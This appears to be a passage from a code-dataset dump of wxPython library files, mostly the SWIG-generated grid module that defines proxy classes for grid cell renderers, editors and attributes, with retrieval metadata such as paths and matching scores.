wx.lib.mvctree.TreePainter\nwxMVCTree = wx.lib.mvctree.MVCTree\nwxMVCTreeEvent = wx.lib.mvctree.MVCTreeEvent\nwxMVCTreeNotifyEvent = wx.lib.mvctree.MVCTreeNotifyEvent\nwxTreeModel = wx.lib.mvctree.TreeModel\n", "id": "5787859", "language": "Python", "matching_score": 1.1570862531661987, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/mvctree.py" }, { "content": "from editor import Editor\n\n", "id": "3801260", "language": "Python", "matching_score": 0.08071212470531464, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/editor/__init__.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\n\"\"\"\nClasses for implementing a spreadsheet-like control.\n\"\"\"\n\nimport _grid\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _windows\nimport _core\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \nGRID_VALUE_STRING = _grid.GRID_VALUE_STRING\nGRID_VALUE_BOOL = _grid.GRID_VALUE_BOOL\nGRID_VALUE_NUMBER = _grid.GRID_VALUE_NUMBER\nGRID_VALUE_FLOAT = _grid.GRID_VALUE_FLOAT\nGRID_VALUE_CHOICE = _grid.GRID_VALUE_CHOICE\nGRID_VALUE_TEXT = _grid.GRID_VALUE_TEXT\nGRID_VALUE_LONG = _grid.GRID_VALUE_LONG\nGRID_VALUE_CHOICEINT = _grid.GRID_VALUE_CHOICEINT\nGRID_VALUE_DATETIME = _grid.GRID_VALUE_DATETIME\nGRID_DEFAULT_NUMBER_ROWS = _grid.GRID_DEFAULT_NUMBER_ROWS\nGRID_DEFAULT_NUMBER_COLS = _grid.GRID_DEFAULT_NUMBER_COLS\nGRID_DEFAULT_ROW_HEIGHT = _grid.GRID_DEFAULT_ROW_HEIGHT\nGRID_DEFAULT_COL_WIDTH = _grid.GRID_DEFAULT_COL_WIDTH\nGRID_DEFAULT_COL_LABEL_HEIGHT = _grid.GRID_DEFAULT_COL_LABEL_HEIGHT\nGRID_DEFAULT_ROW_LABEL_WIDTH = _grid.GRID_DEFAULT_ROW_LABEL_WIDTH\nGRID_LABEL_EDGE_ZONE = _grid.GRID_LABEL_EDGE_ZONE\nGRID_MIN_ROW_HEIGHT = _grid.GRID_MIN_ROW_HEIGHT\nGRID_MIN_COL_WIDTH = _grid.GRID_MIN_COL_WIDTH\nGRID_DEFAULT_SCROLLBAR_WIDTH = _grid.GRID_DEFAULT_SCROLLBAR_WIDTH\nGRID_AUTOSIZE = _grid.GRID_AUTOSIZE\nclass GridCellWorker(object):\n \"\"\"Proxy of C++ GridCellWorker class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def _setOORInfo(*args, **kwargs):\n \"\"\"_setOORInfo(self, PyObject _self)\"\"\"\n return _grid.GridCellWorker__setOORInfo(*args, **kwargs)\n\n __swig_destroy__ = _grid.delete_GridCellWorker\n __del__ = lambda self : None;\n def SetParameters(*args, **kwargs):\n \"\"\"SetParameters(self, String params)\"\"\"\n return _grid.GridCellWorker_SetParameters(*args, **kwargs)\n\n def IncRef(*args, **kwargs):\n \"\"\"IncRef(self)\"\"\"\n return _grid.GridCellWorker_IncRef(*args, **kwargs)\n\n def DecRef(*args, **kwargs):\n \"\"\"DecRef(self)\"\"\"\n return _grid.GridCellWorker_DecRef(*args, **kwargs)\n\n_grid.GridCellWorker_swigregister(GridCellWorker)\ncvar = _grid.cvar\nGridNoCellCoords = cvar.GridNoCellCoords\nGridNoCellRect = cvar.GridNoCellRect\n\nclass GridCellRenderer(GridCellWorker):\n \"\"\"Proxy of C++ GridCellRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def Draw(*args, **kwargs):\n \"\"\"\n Draw(self, Grid grid, GridCellAttr attr, DC dc, Rect rect, int row, \n int col, bool isSelected)\n \"\"\"\n return _grid.GridCellRenderer_Draw(*args, **kwargs)\n\n def GetBestSize(*args, **kwargs):\n \"\"\"GetBestSize(self, Grid grid, GridCellAttr attr, DC dc, int row, int col) -> Size\"\"\"\n return _grid.GridCellRenderer_GetBestSize(*args, **kwargs)\n\n def Clone(*args, **kwargs):\n \"\"\"Clone(self) -> GridCellRenderer\"\"\"\n return _grid.GridCellRenderer_Clone(*args, **kwargs)\n\n_grid.GridCellRenderer_swigregister(GridCellRenderer)\n\nclass PyGridCellRenderer(GridCellRenderer):\n \"\"\"Proxy of C++ PyGridCellRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> PyGridCellRenderer\"\"\"\n _grid.PyGridCellRenderer_swiginit(self,_grid.new_PyGridCellRenderer(*args, **kwargs))\n self._setOORInfo(self);PyGridCellRenderer._setCallbackInfo(self, self, PyGridCellRenderer)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _grid.PyGridCellRenderer__setCallbackInfo(*args, **kwargs)\n\n def SetParameters(*args, **kwargs):\n \"\"\"SetParameters(self, String params)\"\"\"\n return _grid.PyGridCellRenderer_SetParameters(*args, **kwargs)\n\n def base_SetParameters(*args, **kw):\n return PyGridCellRenderer.SetParameters(*args, **kw)\n base_SetParameters = wx._deprecated(base_SetParameters,\n \"Please use PyGridCellRenderer.SetParameters instead.\")\n\n_grid.PyGridCellRenderer_swigregister(PyGridCellRenderer)\n\nclass GridCellStringRenderer(GridCellRenderer):\n \"\"\"Proxy of C++ GridCellStringRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> GridCellStringRenderer\"\"\"\n _grid.GridCellStringRenderer_swiginit(self,_grid.new_GridCellStringRenderer(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellStringRenderer_swigregister(GridCellStringRenderer)\n\nclass GridCellNumberRenderer(GridCellStringRenderer):\n \"\"\"Proxy of C++ GridCellNumberRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> GridCellNumberRenderer\"\"\"\n _grid.GridCellNumberRenderer_swiginit(self,_grid.new_GridCellNumberRenderer(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellNumberRenderer_swigregister(GridCellNumberRenderer)\n\nclass GridCellFloatRenderer(GridCellStringRenderer):\n \"\"\"Proxy of C++ GridCellFloatRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int width=-1, int precision=-1) -> GridCellFloatRenderer\"\"\"\n _grid.GridCellFloatRenderer_swiginit(self,_grid.new_GridCellFloatRenderer(*args, **kwargs))\n self._setOORInfo(self)\n\n def GetWidth(*args, **kwargs):\n \"\"\"GetWidth(self) -> int\"\"\"\n return _grid.GridCellFloatRenderer_GetWidth(*args, **kwargs)\n\n def SetWidth(*args, **kwargs):\n \"\"\"SetWidth(self, int width)\"\"\"\n return _grid.GridCellFloatRenderer_SetWidth(*args, **kwargs)\n\n def GetPrecision(*args, **kwargs):\n \"\"\"GetPrecision(self) -> int\"\"\"\n return _grid.GridCellFloatRenderer_GetPrecision(*args, **kwargs)\n\n def SetPrecision(*args, **kwargs):\n \"\"\"SetPrecision(self, int precision)\"\"\"\n return _grid.GridCellFloatRenderer_SetPrecision(*args, **kwargs)\n\n Precision = property(GetPrecision,SetPrecision,doc=\"See `GetPrecision` and `SetPrecision`\") \n Width = property(GetWidth,SetWidth,doc=\"See `GetWidth` and `SetWidth`\") \n_grid.GridCellFloatRenderer_swigregister(GridCellFloatRenderer)\n\nclass GridCellBoolRenderer(GridCellRenderer):\n \"\"\"Proxy of C++ GridCellBoolRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> GridCellBoolRenderer\"\"\"\n _grid.GridCellBoolRenderer_swiginit(self,_grid.new_GridCellBoolRenderer(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellBoolRenderer_swigregister(GridCellBoolRenderer)\n\nclass GridCellDateTimeRenderer(GridCellStringRenderer):\n \"\"\"Proxy of C++ GridCellDateTimeRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String outformat=wxPyDefaultDateTimeFormat, String informat=wxPyDefaultDateTimeFormat) -> GridCellDateTimeRenderer\"\"\"\n _grid.GridCellDateTimeRenderer_swiginit(self,_grid.new_GridCellDateTimeRenderer(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellDateTimeRenderer_swigregister(GridCellDateTimeRenderer)\n\nclass GridCellEnumRenderer(GridCellStringRenderer):\n \"\"\"Proxy of C++ GridCellEnumRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String choices=EmptyString) -> GridCellEnumRenderer\"\"\"\n _grid.GridCellEnumRenderer_swiginit(self,_grid.new_GridCellEnumRenderer(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellEnumRenderer_swigregister(GridCellEnumRenderer)\n\nclass GridCellAutoWrapStringRenderer(GridCellStringRenderer):\n \"\"\"Proxy of C++ GridCellAutoWrapStringRenderer class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> GridCellAutoWrapStringRenderer\"\"\"\n _grid.GridCellAutoWrapStringRenderer_swiginit(self,_grid.new_GridCellAutoWrapStringRenderer(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellAutoWrapStringRenderer_swigregister(GridCellAutoWrapStringRenderer)\n\nclass GridCellEditor(GridCellWorker):\n \"\"\"Proxy of C++ GridCellEditor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def IsCreated(*args, **kwargs):\n \"\"\"IsCreated(self) -> bool\"\"\"\n return _grid.GridCellEditor_IsCreated(*args, **kwargs)\n\n def GetControl(*args, **kwargs):\n \"\"\"GetControl(self) -> Control\"\"\"\n return _grid.GridCellEditor_GetControl(*args, **kwargs)\n\n def SetControl(*args, **kwargs):\n \"\"\"SetControl(self, Control control)\"\"\"\n return _grid.GridCellEditor_SetControl(*args, **kwargs)\n\n def GetCellAttr(*args, **kwargs):\n \"\"\"GetCellAttr(self) -> GridCellAttr\"\"\"\n return _grid.GridCellEditor_GetCellAttr(*args, **kwargs)\n\n def SetCellAttr(*args, **kwargs):\n \"\"\"SetCellAttr(self, GridCellAttr attr)\"\"\"\n return _grid.GridCellEditor_SetCellAttr(*args, **kwargs)\n\n def Create(*args, **kwargs):\n \"\"\"Create(self, Window parent, int id, EvtHandler evtHandler)\"\"\"\n return _grid.GridCellEditor_Create(*args, **kwargs)\n\n def BeginEdit(*args, **kwargs):\n \"\"\"BeginEdit(self, int row, int col, Grid grid)\"\"\"\n return _grid.GridCellEditor_BeginEdit(*args, **kwargs)\n\n def EndEdit(*args, **kwargs):\n \"\"\"EndEdit(self, int row, int col, Grid grid) -> bool\"\"\"\n return _grid.GridCellEditor_EndEdit(*args, **kwargs)\n\n def Reset(*args, **kwargs):\n \"\"\"Reset(self)\"\"\"\n return _grid.GridCellEditor_Reset(*args, **kwargs)\n\n def Clone(*args, **kwargs):\n \"\"\"Clone(self) -> GridCellEditor\"\"\"\n return _grid.GridCellEditor_Clone(*args, **kwargs)\n\n def SetSize(*args, **kwargs):\n \"\"\"SetSize(self, Rect rect)\"\"\"\n return _grid.GridCellEditor_SetSize(*args, **kwargs)\n\n def Show(*args, **kwargs):\n \"\"\"Show(self, bool show, GridCellAttr attr=None)\"\"\"\n return _grid.GridCellEditor_Show(*args, **kwargs)\n\n def PaintBackground(*args, **kwargs):\n \"\"\"PaintBackground(self, Rect rectCell, GridCellAttr attr)\"\"\"\n return _grid.GridCellEditor_PaintBackground(*args, **kwargs)\n\n def IsAcceptedKey(*args, **kwargs):\n \"\"\"IsAcceptedKey(self, KeyEvent event) -> bool\"\"\"\n return _grid.GridCellEditor_IsAcceptedKey(*args, **kwargs)\n\n def StartingKey(*args, **kwargs):\n \"\"\"StartingKey(self, KeyEvent event)\"\"\"\n return _grid.GridCellEditor_StartingKey(*args, **kwargs)\n\n def StartingClick(*args, **kwargs):\n \"\"\"StartingClick(self)\"\"\"\n return _grid.GridCellEditor_StartingClick(*args, **kwargs)\n\n def HandleReturn(*args, **kwargs):\n \"\"\"HandleReturn(self, KeyEvent event)\"\"\"\n return _grid.GridCellEditor_HandleReturn(*args, **kwargs)\n\n def Destroy(*args, **kwargs):\n \"\"\"Destroy(self)\"\"\"\n args[0].this.own(False)\n return _grid.GridCellEditor_Destroy(*args, **kwargs)\n\n CellAttr = property(GetCellAttr,SetCellAttr,doc=\"See `GetCellAttr` and `SetCellAttr`\") \n Control = property(GetControl,SetControl,doc=\"See `GetControl` and `SetControl`\") \n_grid.GridCellEditor_swigregister(GridCellEditor)\n\nclass PyGridCellEditor(GridCellEditor):\n \"\"\"Proxy of C++ PyGridCellEditor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> PyGridCellEditor\"\"\"\n _grid.PyGridCellEditor_swiginit(self,_grid.new_PyGridCellEditor(*args, **kwargs))\n self._setOORInfo(self);PyGridCellEditor._setCallbackInfo(self, self, PyGridCellEditor)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _grid.PyGridCellEditor__setCallbackInfo(*args, **kwargs)\n\n def SetParameters(*args, **kwargs):\n \"\"\"SetParameters(self, String params)\"\"\"\n return _grid.PyGridCellEditor_SetParameters(*args, **kwargs)\n\n def base_SetSize(*args, **kw):\n return PyGridCellEditor.SetSize(*args, **kw)\n base_SetSize = wx._deprecated(base_SetSize,\n \"Please use PyGridCellEditor.SetSize instead.\")\n\n def base_Show(*args, **kw):\n return PyGridCellEditor.Show(*args, **kw)\n base_Show = wx._deprecated(base_Show,\n \"Please use PyGridCellEditor.Show instead.\")\n\n def base_PaintBackground(*args, **kw):\n return PyGridCellEditor.PaintBackground(*args, **kw)\n base_PaintBackground = wx._deprecated(base_PaintBackground,\n \"Please use PyGridCellEditor.PaintBackground instead.\")\n\n def base_IsAcceptedKey(*args, **kw):\n return PyGridCellEditor.IsAcceptedKey(*args, **kw)\n base_IsAcceptedKey = wx._deprecated(base_IsAcceptedKey,\n \"Please use PyGridCellEditor.IsAcceptedKey instead.\")\n\n def base_StartingKey(*args, **kw):\n return PyGridCellEditor.StartingKey(*args, **kw)\n base_StartingKey = wx._deprecated(base_StartingKey,\n \"Please use PyGridCellEditor.StartingKey instead.\")\n\n def base_StartingClick(*args, **kw):\n return PyGridCellEditor.StartingClick(*args, **kw)\n base_StartingClick = wx._deprecated(base_StartingClick,\n \"Please use PyGridCellEditor.StartingClick instead.\")\n\n def base_HandleReturn(*args, **kw):\n return PyGridCellEditor.HandleReturn(*args, **kw)\n base_HandleReturn = wx._deprecated(base_HandleReturn,\n \"Please use PyGridCellEditor.HandleReturn instead.\")\n\n def base_Destroy(*args, **kw):\n return PyGridCellEditor.Destroy(*args, **kw)\n base_Destroy = wx._deprecated(base_Destroy,\n \"Please use PyGridCellEditor.Destroy instead.\")\n\n def base_SetParameters(*args, **kw):\n return PyGridCellEditor.SetParameters(*args, **kw)\n base_SetParameters = wx._deprecated(base_SetParameters,\n \"Please use PyGridCellEditor.SetParameters instead.\")\n\n_grid.PyGridCellEditor_swigregister(PyGridCellEditor)\n\nclass GridCellTextEditor(GridCellEditor):\n \"\"\"Proxy of C++ GridCellTextEditor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> GridCellTextEditor\"\"\"\n _grid.GridCellTextEditor_swiginit(self,_grid.new_GridCellTextEditor(*args, **kwargs))\n self._setOORInfo(self)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> String\"\"\"\n return _grid.GridCellTextEditor_GetValue(*args, **kwargs)\n\n Value = property(GetValue,doc=\"See `GetValue`\") \n_grid.GridCellTextEditor_swigregister(GridCellTextEditor)\n\nclass GridCellNumberEditor(GridCellTextEditor):\n \"\"\"Proxy of C++ GridCellNumberEditor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int min=-1, int max=-1) -> GridCellNumberEditor\"\"\"\n _grid.GridCellNumberEditor_swiginit(self,_grid.new_GridCellNumberEditor(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellNumberEditor_swigregister(GridCellNumberEditor)\n\nclass GridCellFloatEditor(GridCellTextEditor):\n \"\"\"Proxy of C++ GridCellFloatEditor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int width=-1, int precision=-1) -> GridCellFloatEditor\"\"\"\n _grid.GridCellFloatEditor_swiginit(self,_grid.new_GridCellFloatEditor(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellFloatEditor_swigregister(GridCellFloatEditor)\n\nclass GridCellBoolEditor(GridCellEditor):\n \"\"\"Proxy of C++ GridCellBoolEditor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> GridCellBoolEditor\"\"\"\n _grid.GridCellBoolEditor_swiginit(self,_grid.new_GridCellBoolEditor(*args, **kwargs))\n self._setOORInfo(self)\n\n def UseStringValues(*args, **kwargs):\n \"\"\"UseStringValues(String valueTrue=OneString, String valueFalse=EmptyString)\"\"\"\n return _grid.GridCellBoolEditor_UseStringValues(*args, **kwargs)\n\n UseStringValues = staticmethod(UseStringValues)\n def IsTrueValue(*args, **kwargs):\n \"\"\"IsTrueValue(String value) -> bool\"\"\"\n return _grid.GridCellBoolEditor_IsTrueValue(*args, **kwargs)\n\n IsTrueValue = staticmethod(IsTrueValue)\n_grid.GridCellBoolEditor_swigregister(GridCellBoolEditor)\nOneString = cvar.OneString\n\ndef GridCellBoolEditor_UseStringValues(*args, **kwargs):\n \"\"\"GridCellBoolEditor_UseStringValues(String valueTrue=OneString, String valueFalse=EmptyString)\"\"\"\n return _grid.GridCellBoolEditor_UseStringValues(*args, **kwargs)\n\ndef GridCellBoolEditor_IsTrueValue(*args, **kwargs):\n \"\"\"GridCellBoolEditor_IsTrueValue(String value) -> bool\"\"\"\n return _grid.GridCellBoolEditor_IsTrueValue(*args, **kwargs)\n\nclass GridCellChoiceEditor(GridCellEditor):\n \"\"\"Proxy of C++ GridCellChoiceEditor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int choices=0, bool allowOthers=False) -> GridCellChoiceEditor\"\"\"\n _grid.GridCellChoiceEditor_swiginit(self,_grid.new_GridCellChoiceEditor(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellChoiceEditor_swigregister(GridCellChoiceEditor)\n\nclass GridCellEnumEditor(GridCellChoiceEditor):\n \"\"\"Proxy of C++ GridCellEnumEditor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String choices=EmptyString) -> GridCellEnumEditor\"\"\"\n _grid.GridCellEnumEditor_swiginit(self,_grid.new_GridCellEnumEditor(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellEnumEditor_swigregister(GridCellEnumEditor)\n\nclass GridCellAutoWrapStringEditor(GridCellTextEditor):\n \"\"\"Proxy of C++ GridCellAutoWrapStringEditor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> GridCellAutoWrapStringEditor\"\"\"\n _grid.GridCellAutoWrapStringEditor_swiginit(self,_grid.new_GridCellAutoWrapStringEditor(*args, **kwargs))\n self._setOORInfo(self)\n\n_grid.GridCellAutoWrapStringEditor_swigregister(GridCellAutoWrapStringEditor)\n\nclass GridCellAttr(object):\n \"\"\"Proxy of C++ GridCellAttr class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n Any = _grid.GridCellAttr_Any\n Default = _grid.GridCellAttr_Default\n Cell = _grid.GridCellAttr_Cell\n Row = _grid.GridCellAttr_Row\n Col = _grid.GridCellAttr_Col\n Merged = _grid.GridCellAttr_Merged\n def _setOORInfo(*args, **kwargs):\n \"\"\"_setOORInfo(self, PyObject _self)\"\"\"\n return _grid.GridCellAttr__setOORInfo(*args, **kwargs)\n\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, GridCellAttr attrDefault=None) -> GridCellAttr\"\"\"\n _grid.GridCellAttr_swiginit(self,_grid.new_GridCellAttr(*args, **kwargs))\n self._setOORInfo(self)\n\n __swig_destroy__ = _grid.delete_GridCellAttr\n __del__ = lambda self : None;\n def Clone(*args, **kwargs):\n \"\"\"Clone(self) -> GridCellAttr\"\"\"\n return _grid.GridCellAttr_Clone(*args, **kwargs)\n\n def MergeWith(*args, **kwargs):\n \"\"\"MergeWith(self, GridCellAttr mergefrom)\"\"\"\n return _grid.GridCellAttr_MergeWith(*args, **kwargs)\n\n def IncRef(*args, **kwargs):\n \"\"\"IncRef(self)\"\"\"\n return _grid.GridCellAttr_IncRef(*args, **kwargs)\n\n def DecRef(*args, **kwargs):\n \"\"\"DecRef(self)\"\"\"\n return _grid.GridCellAttr_DecRef(*args, **kwargs)\n\n def SetTextColour(*args, **kwargs):\n \"\"\"SetTextColour(self, Colour colText)\"\"\"\n return _grid.GridCellAttr_SetTextColour(*args, **kwargs)\n\n def SetBackgroundColour(*args, **kwargs):\n \"\"\"SetBackgroundColour(self, Colour colBack)\"\"\"\n return _grid.GridCellAttr_SetBackgroundColour(*args, **kwargs)\n\n def SetFont(*args, **kwargs):\n \"\"\"SetFont(self, Font font)\"\"\"\n return _grid.GridCellAttr_SetFont(*args, **kwargs)\n\n def SetAlignment(*args, **kwargs):\n \"\"\"SetAlignment(self, int hAlign, int vAlign)\"\"\"\n return _grid.GridCellAttr_SetAlignment(*args, **kwargs)\n\n def SetSize(*args, **kwargs):\n \"\"\"SetSize(self, int num_rows, int num_cols)\"\"\"\n return _grid.GridCellAttr_SetSize(*args, **kwargs)\n\n def SetOverflow(*args, **kwargs):\n \"\"\"SetOverflow(self, bool allow=True)\"\"\"\n return _grid.GridCellAttr_SetOverflow(*args, **kwargs)\n\n def SetReadOnly(*args, **kwargs):\n \"\"\"SetReadOnly(self, bool isReadOnly=True)\"\"\"\n return _grid.GridCellAttr_SetReadOnly(*args, **kwargs)\n\n def SetRenderer(*args, **kwargs):\n \"\"\"SetRenderer(self, GridCellRenderer renderer)\"\"\"\n return _grid.GridCellAttr_SetRenderer(*args, **kwargs)\n\n def SetEditor(*args, **kwargs):\n \"\"\"SetEditor(self, GridCellEditor editor)\"\"\"\n return _grid.GridCellAttr_SetEditor(*args, **kwargs)\n\n def SetKind(*args, **kwargs):\n \"\"\"SetKind(self, int kind)\"\"\"\n return _grid.GridCellAttr_SetKind(*args, **kwargs)\n\n def HasTextColour(*args, **kwargs):\n \"\"\"HasTextColour(self) -> bool\"\"\"\n return _grid.GridCellAttr_HasTextColour(*args, **kwargs)\n\n def HasBackgroundColour(*args, **kwargs):\n \"\"\"HasBackgroundColour(self) -> bool\"\"\"\n return _grid.GridCellAttr_HasBackgroundColour(*args, **kwargs)\n\n def HasFont(*args, **kwargs):\n \"\"\"HasFont(self) -> bool\"\"\"\n return _grid.GridCellAttr_HasFont(*args, **kwargs)\n\n def HasAlignment(*args, **kwargs):\n \"\"\"HasAlignment(self) -> bool\"\"\"\n return _grid.GridCellAttr_HasAlignment(*args, **kwargs)\n\n def HasRenderer(*args, **kwargs):\n \"\"\"HasRenderer(self) -> bool\"\"\"\n return _grid.GridCellAttr_HasRenderer(*args, **kwargs)\n\n def HasEditor(*args, **kwargs):\n \"\"\"HasEditor(self) -> bool\"\"\"\n return _grid.GridCellAttr_HasEditor(*args, **kwargs)\n\n def HasReadWriteMode(*args, **kwargs):\n \"\"\"HasReadWriteMode(self) -> bool\"\"\"\n return _grid.GridCellAttr_HasReadWriteMode(*args, **kwargs)\n\n def HasOverflowMode(*args, **kwargs):\n \"\"\"HasOverflowMode(self) -> bool\"\"\"\n return _grid.GridCellAttr_HasOverflowMode(*args, **kwargs)\n\n def GetTextColour(*args, **kwargs):\n \"\"\"GetTextColour(self) -> Colour\"\"\"\n return _grid.GridCellAttr_GetTextColour(*args, **kwargs)\n\n def GetBackgroundColour(*args, **kwargs):\n \"\"\"GetBackgroundColour(self) -> Colour\"\"\"\n return _grid.GridCellAttr_GetBackgroundColour(*args, **kwargs)\n\n def GetFont(*args, **kwargs):\n \"\"\"GetFont(self) -> Font\"\"\"\n return _grid.GridCellAttr_GetFont(*args, **kwargs)\n\n def GetAlignment(*args, **kwargs):\n \"\"\"GetAlignment() -> (hAlign, vAlign)\"\"\"\n return _grid.GridCellAttr_GetAlignment(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"GetSize() -> (num_rows, num_cols)\"\"\"\n return _grid.GridCellAttr_GetSize(*args, **kwargs)\n\n def GetOverflow(*args, **kwargs):\n \"\"\"GetOverflow(self) -> bool\"\"\"\n return _grid.GridCellAttr_GetOverflow(*args, **kwargs)\n\n def GetRenderer(*args, **kwargs):\n \"\"\"GetRenderer(self, Grid grid, int row, int col) -> GridCellRenderer\"\"\"\n return _grid.GridCellAttr_GetRenderer(*args, **kwargs)\n\n def GetEditor(*args, **kwargs):\n \"\"\"GetEditor(self, Grid grid, int row, int col) -> GridCellEditor\"\"\"\n return _grid.GridCellAttr_GetEditor(*args, **kwargs)\n\n def IsReadOnly(*args, **kwargs):\n \"\"\"IsReadOnly(self) -> bool\"\"\"\n return _grid.GridCellAttr_IsReadOnly(*args, **kwargs)\n\n def GetKind(*args, **kwargs):\n \"\"\"GetKind(self) -> int\"\"\"\n return _grid.GridCellAttr_GetKind(*args, **kwargs)\n\n def SetDefAttr(*args, **kwargs):\n \"\"\"SetDefAttr(self, GridCellAttr defAttr)\"\"\"\n return _grid.GridCellAttr_SetDefAttr(*args, **kwargs)\n\n Alignment = property(GetAlignment,SetAlignment,doc=\"See `GetAlignment` and `SetAlignment`\") \n BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc=\"See `GetBackgroundColour` and `SetBackgroundColour`\") \n Font = property(GetFont,SetFont,doc=\"See `GetFont` and `SetFont`\") \n Kind = property(GetKind,SetKind,doc=\"See `GetKind` and `SetKind`\") \n Overflow = property(GetOverflow,SetOverflow,doc=\"See `GetOverflow` and `SetOverflow`\") \n Size = 